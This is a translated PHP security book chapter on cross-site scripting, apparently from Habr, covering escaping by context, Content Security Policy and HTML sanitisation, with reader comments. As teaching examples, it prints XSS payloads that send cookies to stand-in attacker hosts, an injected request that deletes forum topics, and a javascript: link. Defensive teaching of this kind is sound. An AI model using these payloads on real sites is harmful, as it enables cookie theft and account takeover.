Книга «Безопасность в PHP» (часть 1)
Книга «Безопасность в PHP» (часть 2)


Межсайтовый скриптинг (XSS) — пожалуй, самый типичный вид уязвимостей, широко распространённых в веб-приложениях. По статистике, около 65 % сайтов в той или иной форме уязвимы для XSS-атак. Эти данные должны пугать вас так же, как пугают меня.


Что такое межсайтовый скриптинг?


XSS-атака происходит, когда злоумышленник получает возможность внедрить скрипт (зачастую JavaScript) в страницу, выдаваемую веб-приложением, и выполнить его в браузере клиента. Обычно это делается с помощью переключения контекста данных HTML в скриптовый контекст, чаще всего — когда внедряется новый код HTML, Javascript или CSS-разметка. В HTML достаточно мест, где можно добавить в страницу исполняемый скрипт, а браузеры предоставляют немало способов сделать это. Любые входные данные веб-приложения, например параметры HTTP-запросов, способны внедрить код.


Одна из проблем, связанных с XSS, — постоянная недооценка со стороны программистов, нетипичная для уязвимостей такого серьёзного уровня. Разработчики зачастую не представляют себе степень угрозы и обычно строят защиту, основанную на неверных взглядах и плохих подходах. Особенно это касается PHP, если код пишут разработчики без достаточных умений и познаний. Кроме того, реальные примеры XSS-атак выглядят простыми и наивными, так что изучающие их программисты считают свою защиту достаточной, пока она их устраивает. Нетрудно понять, откуда взялись 65 % уязвимых сайтов.


Если злоумышленник может внедрять в веб-страницы JavaScript и исполнять его, то он способен выполнить любой JavaScript в браузере пользователя. И это даёт полный контроль. Ведь с точки зрения браузера сценарий был получен из веб-приложения, которое автоматически считается надёжным источником.


Поэтому хочу напомнить: любые данные, которые не были созданы самим PHP для текущего запроса, ненадёжны. Это распространяется и на браузер, работающий отдельно от веб-приложения.


Браузер доверяет всему, что он получает от сервера, и это одна из главных причин межсайтового скриптинга. К счастью, проблема решаема, о чём мы поговорим ниже.


Мы можем применить этот принцип еще шире, к самой среде JavaScript-приложения в браузере. Клиентский JavaScript-код варьируется от очень простого до чрезвычайно сложного, часто это отдельное клиентское веб-приложение. Такие приложения стоит защитить не хуже любых других. Они не должны доверять данным, полученным из удалённых источников (в том числе от приложения на сервере), применяя проверку и убеждаясь, что выводимое в DOM содержимое корректно экранируется или обрабатывается.


Внедрённые скрипты могут быть использованы для самых разных задач. Это:


  • кража кук и данных авторизации,
  • выполнение HTTP-запросов от имени пользователя,
  • перенаправление пользователей на заражённые сайты,
  • получение доступа на чтение и изменение локальных хранилищ браузера,
  • выполнение сложных расчётов и отправка результатов на сервер злоумышленника,
  • применение эксплойтов к браузеру и загрузка зловредов,
  • эмулирование активности пользователя для кликджекинга,
  • перезапись или получение контроля над приложениями браузера,
  • атаки на расширения браузера —

и т. д., продолжать можно до бесконечности.


Подмена интерфейса (UI Redress, clickjacking)


В то время как прямая атака на сервер полностью самостоятельна, кликджекинг неразрывно связан с межсайтовым скриптингом, так как использует подобные наборы векторов для атаки. Иногда их сложно различить, потому что одна методика атаки помогает успешному выполнению другой.


Подменой интерфейса называется любая попытка атакующего изменить пользовательский UI веб-приложения. Это позволяет атакующему внедрять новые ссылки, новый HTML-код, чтобы изменить размеры, скрыть/перекрыть оригинальный интерфейс и т. д. Если такая атака выполняется для обмана пользователя, чтобы он нажал на внедрённую ссылку или кнопку, тогда обычно её относят к кликджекингу.


Большая часть этой главы посвящена подмене интерфейса с помощью XSS. Однако есть и другие способы подмены, когда для внедрения используются фреймы. Подробнее мы рассмотрим это в главе 4.


Пример межсайтового скриптинга


Давайте представим, что злоумышленник наткнулся на форум, который позволяет пользователям отображать небольшую подпись под своими комментариями. Злоумышленник создаёт учетную запись, спамит во всех темах в пределах досягаемости, применяя следующую подпись к своим сообщениям:


<script>document.write('<iframe src="http://evilattacker.com?cookie='
    + document.cookie.escape() + '" height=0 width=0 />');</script>

Каким-то чудом движок форума включает эту подпись во все заспамленные топики, и пользователи начинают загружать этот код. Результат очевиден. Злоумышленник внедряет в страницу элемент iframe, который будет отображаться как крошечная точка (нулевого размера) в самом низу страницы, не привлекая никакого внимания. Браузер отправит запрос на содержимое iframe, и в URI злоумышленника будут переданы значения кук каждого участника форума в виде GET-параметра. Их можно сопоставить и использовать для дальнейших атак. В то время как обычные участники злоумышленнику неинтересны, хорошо спланированный троллинг, несомненно, привлечёт внимание модератора или администратора, чьи куки могут оказаться очень полезными для получения административного доступа к форуму.


Это простой пример, но вы можете расширить его. Допустим, злоумышленник захочет узнать имя пользователя, ассоциированного с украденными куками. Легко! Достаточно добавить к URL злоумышленника код DOM-запроса, который вернёт имя и включит его в параметр username= GET-запроса. Или злоумышленнику понадобилась информация о браузере для обхода fingerprint-защиты сессии? Достаточно включить данные с navigator.userAgent.


У этой простой атаки много последствий. Например, можно получить права администратора и контроль над форумом. Поэтому нецелесообразно недооценивать возможности XSS-атаки.


Конечно, в этом примере в подходе злоумышленника есть изъян. Рассмотрим очевидный способ защиты. Все куки с конфиденциальными данными помечены флагом HttpOnly, который запрещает JavaScript доступ к данным этих файлов. В принципе, вы должны помнить, что если злоумышленник внедрит JavaScript, то этот скрипт сможет делать что угодно. Если у злоумышленника не вышло получить доступ к куке и провести атаку с её использованием, то он сделает то, что должны делать все хорошие программисты: напишет код для эффективной автоматизированной атаки.


 <script>
    var params = 'type=topic&action=delete&id=347';
    var http = new XMLHttpRequest();
    http.open('POST', 'forum.com/admin_control.php', true);
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http.setRequestHeader("Content-length", params.length);
    http.setRequestHeader("Connection", "close");
    http.onreadystatechange = function() {
        if(http.readyState == 4 && http.status == 200) {
            // Do something else.
        }
    };
    http.send(params);
 </script>

Выше показан один из способов послать POST-запрос, удаляющий тему на форуме. Можно установить его срабатывание только для модератора (т. е. если имя пользователя где-то отображается, мы можем сравнить его со списком известных модераторов или обнаружить специальные стили, примененные к модератору).


Как следует из вышесказанного, HttpOnly-куки имеют ограниченное применение в защите от XSS. Они блокируют захват кук, но не предотвращают их использование во время XSS-атаки. Кроме того, злоумышленник предпочтёт не оставлять следов в видимой разметке, чтобы не вызывать подозрений, если он сам не хочет быть обнаруженным.


Типы XSS-атак


Атаки с помощью XSS можно классифицировать несколькими путями. Один из них — по способу попадания вредоносных входных данных в веб-приложения. Во входные данные приложения может быть включён результат текущего запроса, сохранённый для включения в последующий выходной запрос. Или данные могут быть переданы в DOM-операции на базе JavaScript. Таким образом, получаются следующие типы атак.


Отражённая XSS-атака


Здесь ненадёжные входные данные, отправленные веб-приложению, включаются сразу в выходные данные приложения, т. е. «отражаются» от сервера к браузеру в одном и том же запросе. Отражение бывает с сообщениями об ошибках, поисковыми материалами, предварительными просмотрами постов и т. д. Эта форма атаки может быть организована, чтобы убедить пользователя перейти по ссылке или отправить данные из формы злоумышленника. Чтобы заставить пользователя нажать на ненадёжные ссылки, иногда требуется социальная инженерия, атака подмены интерфейса или сервис сокращения ссылок. Социальные сети и сами сервисы сокращения ссылок особенно уязвимы для подмены URL-адресов с использованием сокращённых ссылок, поскольку такие ссылки — обычное явление на данных ресурсах. Будьте осторожны и внимательно проверяйте, на что нажимаете!


Хранимая XSS-атака


Когда зловредная полезная нагрузка где-то хранится и извлекается по мере просмотра данных пользователем, атаку относят к хранимым. Помимо баз данных, есть множество других мест, включая кеши и логи, которые тоже пригодны для долгосрочного хранения данных. Уже известны случаи атак с внедрением в логи.


XSS-атака на основе DOM


Атака на основе DOM может быть как отражённой, так и хранимой. Различие в том, на что направлена атака. Чаще всего пытаются сразу же изменять разметку HTML-документа. Однако HTML можно изменять и с помощью JavaScript, используя DOM. Успешно внедрённые в HTML элементы в дальнейшем могут быть использованы в DOM-операциях в JavaScript. Целями атак становятся также уязвимости в JS-библиотеках или их неправильное применение.


Межсайтовый скриптинг и контекст внедрения


XSS-атака успешна, если в ходе неё внедряется контекст. Термин «контекст» описывает то, как браузеры интерпретируют содержимое HTML-документа. Браузеры распознают ряд ключевых контекстов, включая HTML-код, атрибуты HTML, JavaScript, URL, CSS.


Цель злоумышленника — взять данные, предназначенные для одного из этих контекстов, и заставить браузер интерпретировать их в другом контексте. Например:


<div style="background:<?php echo $colour ?>;">

$colour заполняется из базы данных настроек пользователя, которые влияют на цвет фона для текстового блока. Значение вводится в контексте CSS, дочернем по отношению к контексту HTML-атрибута. То есть мы добавили CSS в атрибут style. Может показаться, что необязательно избегать такой ловушки с контекстом, но посмотрим на следующий пример:


$colour = "expression(document.write('<iframe src="
    .= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
    .= "' height=0 width=0 />'))";

<div style="background:<?php echo $colour ?>;">

Если атакующий успешно внедрит этот colour, то он может внедрить CSS-выражение, которое выполнит определённый JavaScript в браузере Internet Explorer. Другими словами, злоумышленник сумеет переключить текущий контекст путём введения нового контекста JavaScript.


Посмотрев на предыдущий пример, некоторые читатели вспомнят об экранировании (escaping). Воспользуемся им:


$colour = "expression(document.write('<iframe src="
    .= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
    .= "' height=0 width=0 />'))";

<div style="background:<?php echo htmlspecialchars($colour, ENT_QUOTES, 'UTF-8') ?>;">

Если вы проверите это в IE, то быстро обнаружите, что происходит что-то очень нехорошее. XSS-атака всё равно успешно работает — даже после экранирования с помощью функции htmlspecialchars(), чтобы избежать $colour!


Вот как важно правильно понимать контекст. Каждый контекст требует другого метода экранирования, потому что у каждого контекста свои специальные символы и разная необходимость в экранировании. Недостаточно повсюду разбрасываться функциями htmlspecialchars() и htmlentities() и молиться, чтобы ваше веб-приложение стало безопасным.


Что пошло не так в предыдущем примере? Что заставило браузер деэкранировать атрибуты HTML перед интерпретацией контекста? Мы проигнорировали тот факт, что необходимо экранировать два контекста.


Сначала CSS должен был экранировать $colour, и только затем — экранировать HTML. Это гарантировало бы, что $colour преобразован в правильный строковый литерал, без скобок, кавычек, пробелов и других символов, которые позволяют внедрить expression(). Не понимая, что наш атрибут охватывает два контекста, мы экранировали его, как если бы это был только один HTML-атрибут. Довольно распространённая ошибка.


Из этой ситуации можно вынести урок: контекст важен. При XSS-атаке злоумышленник всегда будет стараться прыгнуть из текущего контекста в другой, где можно исполнить JavaScript. Если вы способны определить все контексты в выходном потоке HTML с учётом их вложенности, значит, вы на десять шагов ближе к успешной защите веб-приложения от XSS.


Давайте рассмотрим ещё один пример:


<a href="http://www.example.com">Example.com</a>

Если не принимать во внимание ненадёжные входные данные, то этот код можно проанализировать следующим образом:


  1. Существует контекст URL, т. е. значение атрибута href.
  2. Есть контекст HTML-атрибута, т. е. родители контекста URL.
  3. Есть контекст тела HTML, т. е. текст внутри <a> тега.

Это три разных контекста. Так что понадобится до трёх способов экранирования, если источники данных будут определены как ненадёжные. В следующем разделе мы подробней рассмотрим экранирование в качестве защиты от XSS.


Защита от межсайтового скриптинга


Защититься от XSS возможно, но защита должна применяться последовательно, без исключений и упрощений, желательно с самого начала разработки веб-приложения, пока у всех в памяти свежи воспоминания о рабочем процессе. Внедрение защиты на более поздних этапах может быть дорогостоящим делом.


Проверка входных данных


Проверка ввода — только первая линия защиты веб-приложения. При таком типе защиты мы знаем лишь то, как сейчас используются ненадёжные данные, и на этапе получения данных не можем предсказать, где и как они будут дальше применяться. Сюда относятся практически все текстовые данные, так как мы всегда должны обеспечивать пользователю возможность написания кавычек, угловых скобок и других символов.


Проверка работает лучше всего благодаря предотвращению XSS-атак на данные, которым присущи предельные значения. Допустим, целое число не должно содержать специфические для HTML символы. Параметры, такие как название страны, должны соответствовать заранее заданному списку реальных стран, и т. д.


Проверка входных данных помогает контролировать данные с определённым синтаксисом. Например, допустимый URL-адрес должен начинаться с префикса http:// или https://, а не с гораздо более опасных конструкций javascript: или data:. По сути, все адреса, полученные из непроверенных входных данных, должны проверяться на наличие этих тегов. Экранирование URI javascript: или data: имеет такой же эффект, как экранирование легального URL-адреса. То есть вообще никакого эффекта.


Хотя проверка входных данных не может блокировать всю зловредную полезную нагрузку при XSS-атаке, она способна остановить наиболее очевидные типы атаки. Проверка входных данных подробно рассматривалась во второй части книги.


Экранирование (а также кодирование)


Экранирование данных на выходе позволяет гарантировать, что данные не будут ошибочно восприняты принимающим парсером или интерпретатором. Очевидные примеры — знаки «меньше» и «больше», которые обозначают HTML-теги. Если позволить этим символам быть вставленными из ненадёжных входных данные, злоумышленник сможет вводить новые теги, которые браузер будет отрисовывать. Обычно эти символы заменяются последовательностями > и $lt;.


Замена символов предполагает сохранение смысла экранированных данных. Экранирование просто заменяет символы, имеющие определённое значение, альтернативными. Обычно используется шестнадцатеричное представление или что-то более читабельное, например HTML-последовательности (если их применение безопасно).


Как упоминалось в главе о контекстах, способ экранирования зависит от того, какого типа содержимое внедряется. Экранирование HTML-кода отличается от экранирования JavaScript, которое, в свою очередь, отличается от экранирования адресов. Применение неверной экранирующей стратегии для определённого контекста способно привести к неэффективности защиты, к созданию уязвимости, которой может воспользоваться злоумышленник.


Для облегчения экранирования рекомендуется применять отдельный класс, разработанный с этой целью. PHP не может предоставить все необходимые экранирующие функции из коробки, а многое из предлагаемого не так безопасно, как считает большинство разработчиков.
Давайте рассмотрим правила экранирования, применяемые к наиболее распространённым контекстам: телу HTML, атрибутам HTML, JavaScript, URL и CSS.


Никогда не вводите данные, за исключением ввода из доверенных мест


Прежде чем изучать стратегии экранирования, необходимо убедиться, что шаблоны вашего веб-приложения не теряют (misplace) данные. Это относится к внедрению данных в чувствительные области HTML, которые дают злоумышленнику возможность влиять на порядок обработки разметки и которые обычно не требуют экранирования при использовании программистом. Рассмотрим примеры, где [… ] — это внедряемые данные:


<script>...</script>

<!--...-->

<div ...="test"/>

<... href="http://www.example.com"/>

<style>...</style>

Каждое из вышеперечисленных мест опасно. Разрешение данных в теге script, вне строковых и числовых литералов, позволяет при атаке внедрить JavaScript. Данные, помещённые в HTML-комментарии, могут быть использованы для запуска условных выражений (conditionals) Internet Explorer и для других непредвиденных действий. Следующие два места более очевидны, так как никто не позволил бы злоумышленнику влиять на свои теги или названия атрибутов — мы как раз пытаемся это предотвратить! Наконец, как и в случае со скриптами, мы не можем позволить злоумышленникам внедряться непосредственно в CSS, так как это даст возможность проводить атаки подмены интерфейса и выполнять скрипты, используя поддерживаемую в Internet Explorer функцию expression().


Всегда экранируйте HTML до внедрения данных в HTML-тело


Контекст HTML-тела ссылается на текстовое содержимое, которое заключено в теги. Например, текст между тегами <body>, <div> или любыми другими парными тегами для хранения текста. Данные, внедряемые в содержимое любых тегов, должны быть экранированы под HTML.


Экранирование HTML хорошо известно в PHP в виде функции htmlspecialchars().


Всегда экранируйте HTML-атрибуты до внедрения данных в их контекст


Контекст HTML-атрибута ссылается на все значения элемента, за исключением свойств, которые интерпретируются браузером как CDATA. Это исключение довольно запутанное, но в основном оно относится к HTML-стандартам, основанным не на XML, где JavaScript может включаться в атрибуты события в неэкранированном виде. Для всех других атрибутов у вас есть следующие два варианта:


  1. Если значение атрибута в кавычках, то вы МОЖЕТЕ использовать экранирование HTML.
  2. Однако если значение задаётся без кавычек, то вы ДОЛЖНЫ использовать экранирование HTML-атрибутов.

Также второй вариант применяется, когда правила приведения атрибутов могут быть неясными. Например, в HTML5 считается вполне допустимым использовать значения атрибутов без кавычек, и в реальных проектах уже встречается много примеров такого «умного» подхода. В любой непонятной ситуации действуйте с осторожностью.


Всегда экранируйте JavaScript до внедрения в значения данных


Значения данных в JavaScript в основном строковые. Поскольку вы не можете экранировать числа, есть дополнительное правило: всегда проверяйте валидность чисел...


Политика защиты контента


Ключевой элемент всех наших разговоров о межсайтовом скриптинге — то, что браузер без вопросов выполняет весь JavaScript-код, который получает от сервера, независимо от источника внедрения кода. При получении HTML-документа браузер не может узнать, какие из вложенных ресурсов безопасны, а какие нет. А если бы мы могли это изменить?


Политика защиты контента (CSP) — это HTTP-заголовок, передающий белый список надёжных источников ресурсов, которым браузер может доверять. Любой источник, не указанный в списке разрешённых, причисляется к ненадёжным и просто игнорируется. Рассмотрим следующее:


X-Content-Security-Policy: script-src 'self'

Этот заголовок CSP сообщает браузеру, что нужно доверять только тем адресам источника JavaScript, которые указывают на текущий домен. После браузер будет загружать скрипты из этого источника, но полностью игнорировать все остальные. Это означает, что http://attacker.com/naughty.js не загрузится, если злоумышленник каким-то образом сумеет его внедрить. Кроме того, все встроенные скрипты, например теги

Если нужно использовать JavaScript из другого источника, помимо исходного адреса, то мы можем включить его в белый список. Например, давайте добавим адрес CDN jQuery.


X-Content-Security-Policy: script-src 'self' http://code.jquery.com

Можно добавить другие директивы ресурсов, например путь к таблице CSS-стилей, разделив точкой с запятой директивы и разрешённые адреса.


X-Content-Security-Policy: script-src 'self' http://code.jquery.com; style-src 'self'

Формат значения заголовка очень прост. Значение состоит из директивы script-src, после которой идёт список разделённых пробелами источников, применяемый в качестве белого списка. Источником может быть ключевое слово в кавычках, такое как 'self', или URL. Значение URL-адреса сопоставляется с полученным списком. Информация, отсутствующая в URL, может быть свободно изменена в документе HTML. Указание http://code.jquery.com предотвращает загрузку скриптов с http://jquery.com или http://domainx.jquery.com, потому что мы явным образом задали разрешённые домены. Чтобы разрешить все поддомены, можно указать просто http://jquery.com. То же самое относится и к локальным путям, портам, URL-схемам и т. д.


Суть белого списка CSP проста. Если вы создадите список ресурсов конкретного вида, то всё, что в него не войдёт, не загрузится. Если вы не определите список для типа ресурсов, то браузер по умолчанию отбрасывает все ресурсы этого типа.


Поддерживаются следующие директивы ресурсов:


  • connect-src: ограничивает источники, к которым можно подключиться с помощью xmlhttprequest, веб-сокетов и т. д.
  • font-src: ограничивает источники для веб-шрифтов.
  • frame-src: ограничивает URL-адреса для фреймов.
  • img-src: ограничивает источники изображений.
  • media-src: ограничивает источники видео и аудио.
  • object-src: ограничивает источники для Flash и других плагинов.
  • script-src: ограничивает источники для файлов скриптов.
  • style-src: ограничивает источники для CSS.

Для задания безопасных стандартных параметров существует специальная директива default-src, с помощью которой можно изначально добавить в белый список ссылки для всех перечисленных категорий.


X-Content-Security-Policy: default-src 'self'; script-src 'self' http://code.jquery.com

Это позволит ограничить разрешённые ресурсы текущим доменом, но при этом также добавить исключение для скрипта jQuery. Такое использование сразу закрывает все ненадёжные источники и позволяет разрешать только те, которые считаются заведомо безопасными.


Кроме URL, разрешённым источникам можно назначить следующие ключевые слова, которые должны быть записаны в одинарных кавычках:


‘none’ ‘self’ ‘unsafe-inline’ ‘unsafe-eval’

Вы заметили слово unsafe, т. е. «небезопасно»? Лучший способ применения CSP — не выбирать подходы, которые выбирают злоумышленники. Они хотят внедрять inline-скрипты или другие ресурсы? Если мы сами избежим inline-применения, то наши веб-приложения могут приказать браузерам игнорировать всё inline-содержимое без исключения. Будем использовать внешние файлы скриптов и функции addEventListener() вместо атрибутов событий. Но раз вы придумываете для себя правило, то не обойтись и без нескольких полезных исключений, не так ли? Не так. Забудьте о любых исключениях. Включение параметра ‘unsafe-inline’ противоречит самой цели применения CSP.


Ключевое слово ‘none’ означает именно «ничего». Если установить его в качестве источника ресурса, то параметр заставит браузер игнорировать все ресурсы указанного типа. Это добавит вам мелких проблем, но я советую сделать что-то наподобие следующего примера, чтобы белый список вашего CSP всегда ограничивался только тем, что он разрешает явно:


X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'

И последнее предостережение. Поскольку CSP — новое решение, вам потребуется дублировать заголовок X-Content-Security-Policy, чтобы убедиться, что его поймут и WebKit-браузеры, такие как Safari и Chrome. Подарок от WebKit для вас.


X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'
X-WebKit-CSP: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'

Определение браузера пользователя


Очистка HTML


В какой-то момент веб-приложение столкнётся с необходимостью включать задаваемый извне HTML-код в свою веб-страницу без применения к нему экранирования. Наглядные примеры: цитирование сообщений на форуме, комментарии в блоге, формы редактирования и записи из RSS или Atom. Если такие данные подвергнуть экранированию символов, то они будут искажены и испорчены, поэтому вместо экранирования здесь приходится тщательно фильтровать данные, чтобы убедиться, что все опасные элементы устранены.


Вы заметили, что я написал об HTML-коде «задаваемый извне», а не «создаваемый извне»? Множество веб-приложений позволяют пользователям вместо HTML-разметки включать такие альтернативы, как BBCode, Markdown или Textile. Распространённая ошибка в PHP — мнение, что эти языки разметки предотвращают XSS-атаки. Полный бред. Цель этих языков — позволить пользователям проще и легче создавать форматированный текст, обходясь без работы с HTML. Не все знают HTML, да и сам этот язык не в точности соответствует своим SGML-корням. Вручную создавать длинные блоки форматированного текста в HTML — долго и мучительно.


HTML из таких входных данных генерируется на сервере. Это подразумевает под собой доверительные операции, само доверие к которым — распространённая ошибка. Получаемый в результате таких операций HTML по-прежнему «заданный извне». Мы не можем считать его безопасным. Это более очевидно на примере ленты блога, чьи записи ещё до момента генерирования являются валидным HTML.


Рассмотрим следующий фрагмент кода:


[url=javascript:alert(‘I can haz Cookie?n’+document.cookie)]Free Bitcoins Here![/url]

BB-код ограничивает HTML по умолчанию, но это не даёт абсолютной неуязвимости. Например, большинство генераторов не заметят использования HTTP URL’ов и пропустят их. Выделение Markdown:


I am a Markdown paragraph.<script>document.write(‘<iframe src=”http://attacker.com?cookie=‘ + document.cookie.escape() + ‘” height=0 width=0 />’);</script>

There’s no need to panic. I swear I am just plain text!

Markdown — популярная альтернатива для написания HTML, но он также позволяет авторам смешивать HTML с Markdown. Это действительно так, генераторы Markdown не обращают внимания на включённую XSS-нагрузку.


Очевидно, необходимо применять комплекс мер по экранированию HTML независимо от того, какой тип разметки мы собираемся включать в выходной поток приложения после того, как завершено генерирование и прочие операции. Никаких исключений. Входные данные остаются ненадёжными, пока мы не обработали их и не убедились в их безопасности.


Очистка HTML — это трудоёмкий процесс парсинга входных данных, применения списка разрешённых элементов, атрибутов и других необходимых вещей. Занятие не для слабонервных, здесь очень легко ошибиться, а сам PHP страдает от множества небезопасных библиотек, авторы которых утверждают, что всё делают правильно. Поэтому не выбирайте «модные» решения, пишите их самостоятельно.


Единственная библиотека в PHP, которая действительно выдаёт безопасный HTML, — HTMLPurifier. Она активно поддерживается, в значительной степени проверена, и я настоятельно рекомендую её. С HTMLPurifier достаточно просто работать, по сути, требуется только задать разрешённые элементы:


// Basic setup without a cache
$config = HTMLPurifier_Config::createDefault();
$config->set('Core', 'Encoding', 'UTF-8');
$config->set('HTML', 'Doctype', 'HTML 4.01 Transitional');
// Create the whitelist
$config->set('HTML.Allowed', 'p,b,a[href],i'); // basic formatting and links
$sanitiser = new HTMLPurifier($config);
$output = $sanitiser->purify($untrustedHtml);

Не используйте другие библиотеки в качестве HTML-обработчиков, если не уверены в том, что делаете.


Внешняя защита приложения


[Продолжение следует]

Комментарии (41)


  1. vdem
    09.04.2018 21:24

    Обычно эти символы заменяются последовательностями > и $lt;

    Вообще-то, & lt; и & gt;
    Двойные кавычки — & quot;
    Одинарные — & #039;
    P.S. Поставил пробелы после &, иначе не отображался код.


    1. mayorovp
      10.04.2018 08:06

      Надо было просто & заменить на &amp; :-)


      1. vdem
        10.04.2018 08:14

        Как бы это должен был сделать движок Хабра, про что и речь в статье :) Но да, не догадался я.


        1. mayorovp
          10.04.2018 08:42

          Не должен. Вы забываете, что комментарии пишутся не чистым текстом, а на подмножестве HTML. Поэтому & остается служебным символом, и его надо экранировать пользователю самостоятельно.


          1. greabock
            10.04.2018 10:53

            &lt и &gt — отличный пример, почему следует использовать markdown


            1. mayorovp
              10.04.2018 11:34

              markdown — это расширение подмножества HTML. Там точно так же можно использовать тэги — а значит, нужно точно так же экранировать служебные символы...


              1. greabock
                10.04.2018 13:21

                При чем тут это вообще? Я говорю о том, что нужно использовать markdown, просто потому что это удобно.


                Ну и если уж на то пошло (и если вам так нравится занудство), то markdown — это самостоятельный язык разметки, а ни какое не подмножество html. Он прекрасно конвертируется в word, pdf, rich-text и еще 100500 других форматов документов, без промежуточной компиляции в html. А то, что в нем можно писать теги — это побочный эффект частных реализаций компиляторов/конвертеров в HTML. Спецификация же по конвертированию markdown в HTML называется CommonMark.


                1. mayorovp
                  10.04.2018 13:32

                  Я не говорил, что он является подмножеством HTML (это, конечно же, не так!). Но он является расширением некоторого подмножества HTML. Иными словами, внутри markdown-разметки можно использовать html-тэги.


                  Кажется, начался язык с вот этого проекта: https://daringfireball.net/projects/markdown/.


                  И вот что там сказано в докумментации:


                  For any markup that is not covered by Markdown’s syntax, you simply use HTML itself. There’s no need to preface it or delimit it to indicate that you’re switching from Markdown to HTML; you just use the tags.


                  1. greabock
                    10.04.2018 14:18

                    Похоже проблема в понимании того, что есть суть markdown. Изначально:


                    Markdown is a text-to-HTML conversion tool for web writers.

                    И да, если рассматривать markdown как конвертер текста в html, то вы правы.


                    Однако, я смотрю на markdown шире, и мне больше нравится определение из википедии:


                    Markdown is a lightweight markup language with plain text formatting syntax.

                    В этом случае тэги и их наличие/отсутствие в тексте вообще не при чем. Для меня это просто текст.


                    1. mayorovp
                      10.04.2018 14:36

                      Если бы тэги в тексте были «просто текстом» — то md2html-конвертеры были бы обязаны их экранировать.

                      А вместо этого даже конвертеры из markdown в тот же word или pdf эти самые тэги обрабатывают как разметку.


                      1. greabock
                        10.04.2018 14:57
                        -1

                        окей, а что должен сделать с тегами md2jpg конвертер? В вашей голове md никак не может отвязаться от html. Я же рассматриваю его как самостоятельный язык.


                        1. mayorovp
                          10.04.2018 15:00

                          Обработать их он должен. На входе <i>Hello, world!</i>, на выходе — картинка с надписью курсивом.


                          1. greabock
                            10.04.2018 15:21

                            А с тегом input он что будет делать? А с тегом video?
                            В некоторых реализациях даже script впихнуть можно.
                            Но это именно фишка реализаций. Ладно, не будем сильно с ума сходить. Что делать с банальным атрибутом class и тегом style? Я бы с удовольствием посмотрел как анимация css в распечатанном договоре воспроизводится.


                            1. mayorovp
                              10.04.2018 15:27

                              Ничего. Я не случайно говорил про подмножество HTML.

                              Кстати, толковый md2html-преобразователь инпуты, классы и особенно скрипты тоже должен вырезать.


                              1. greabock
                                10.04.2018 15:46

                                Кстати, толковый md2html-преобразователь инпуты, классы и особенно скрипты тоже должен вырезать.

                                Самая популярная спека по md2html (CommonMark)
                                утверждает, что class, id и прочие аттрибуты — это норм. http://spec.commonmark.org/0.27/#example-119


                                Имхо, экранирование, вырезание тегов и прочее — это уже забота пурифайера, правила которого описываются конечным пользователем отдельно. А конвертер пусть занимается конвертированием.


          1. vdem
            10.04.2018 12:07

            Да уж, что-то я затупил. И ведь трезвый :)


    1. lastmac
      10.04.2018 12:52

      Плюсом, в пятом хтмл появился &apos; («одинарные», 'APOSTROPHE' (U+0027))
      Но не все браузеры его вразумеют, лучше пользовать &#039. Весь список.


  1. antonn
    10.04.2018 08:53
    -1

    Давайте представим, что злоумышленник наткнулся на форум, который позволяет пользователям отображать небольшую подпись под своими комментариями. Злоумышленник создаёт учетную запись, спамит во всех темах в пределах досягаемости, применяя следующую подпись к своим сообщениям:

    Неужели еще существуют люди которые данные от пользователя позволяют выводить в их исходном виде в html страницы?


    1. Shvonder
      10.04.2018 09:08

      Существуют в огромном количестве.


    1. mayorovp
      10.04.2018 10:11

      Вот буквально недавно я нашел веселое: stackoverflow.com/a/822486/4340086

      Вдумайтесь! Функция для защиты от XSS, которая сама по себе подвержена XSS! :-)


      1. POPSuL
        12.04.2018 08:35

        Охххх, как же это прекрасно! :)


    1. Akdmeh
      10.04.2018 10:34

      Бывает чисто по неосторожности или из-за security through obscurity — «да кто там догадается, что этот параметр не экранирован, это же только админка»


      1. antonn
        10.04.2018 12:13

        Так не проще ли создать в шаблонизаторе функцию (да даже просто функцию если все вручную) и выводить пользовательские данные всегда через нее, а внутри нее уже эскейпить и преобразовывать в сущности? Одно простое правило (пользоваться только этой функцией) при генерации страницы и нет никаких проблем. Тут даже дело не в XSS, банально пользовательский текст с кавычками в textbox не поломает страницу. К тому же в эту же функцию (или перегруженную) можно встроить подсветку BB, смайликов и прочее.


        1. mayorovp
          10.04.2018 13:36

          Вот только это правило еще нужно донести до коллег, а у них бывает свое мнение об идеальном коде...


          И ничто не отменяет простую усталость.


  1. codemafia
    10.04.2018 10:28

    Было бы неплохо добавить оглавление в первые две части.


  1. devalone
    10.04.2018 15:48

    Интересно. Кстати, данные экранировать нужно также на выходе ещё и потому что при доступе хакера к базе(sql инъекция) без экранирования он легко сделат xss.
    И вообще, я на PHP не пишу, но неужели там нет нормального шаблонизатора, как в питониевых фреймворках вроде django? А то обернуть в функцию можно и забыть…

    А вообще, мне больше нравится подход ангуляра. На Пикабу я находил xss, позволяющий изменить аттрибут, т.е. экранировались < >, но не ", поле в форме было короткое, но всё же можно было сделать инъекцию вроде

    "onmouseover="javascript code goes here

    В ангуляре не нужно делать ровным счётом ничего, он с помощью джаваскриптовой магии предотвратит инъекцию.


  1. antonn
    10.04.2018 16:23

    И вообще, я на PHP не пишу, но неужели там нет нормального шаблонизатора, как в питониевых фреймворках вроде django?

    PHP сам по себе уже шаблонизатор в какой-то мере. Он как ружье: можно написать самому код и убить двух зайцев, а можно прострелить себе ногу если не умеешь обращаться с оружием. Для менее квалифицированных и дисциплинированных лучше подобрать готовые шаблонизаторы и фреймворки (коих просто мегатонны уже навелосипедили), но и с ними абсолютных гарантий нет.


    1. michael_vostrikov
      10.04.2018 20:48

      А не хотите выложить свой код в открытый доступ?) Проверим, какие гарантии у вас.


    1. devalone
      11.04.2018 15:59

      А зачем отвечать не под моим комментом? Чтоб я не увидел и не ответил?)
      Тот PHP, на котором я хоть что-то писал, это была ещё 5 версия или даже меньше — костыль, это не шаблонизатор, нормальный шаблонизатор защищает от XSS без костылей и позволяет писать код удобно и отделять логику от вывода. Но я могу предположить, что всё сильно изменилось и на PHP можно писать, как и на нормальных языках, потому и спрашиваю.

      Для менее квалифицированных и дисциплинированных лучше подобрать готовые шаблонизаторы и фреймворки

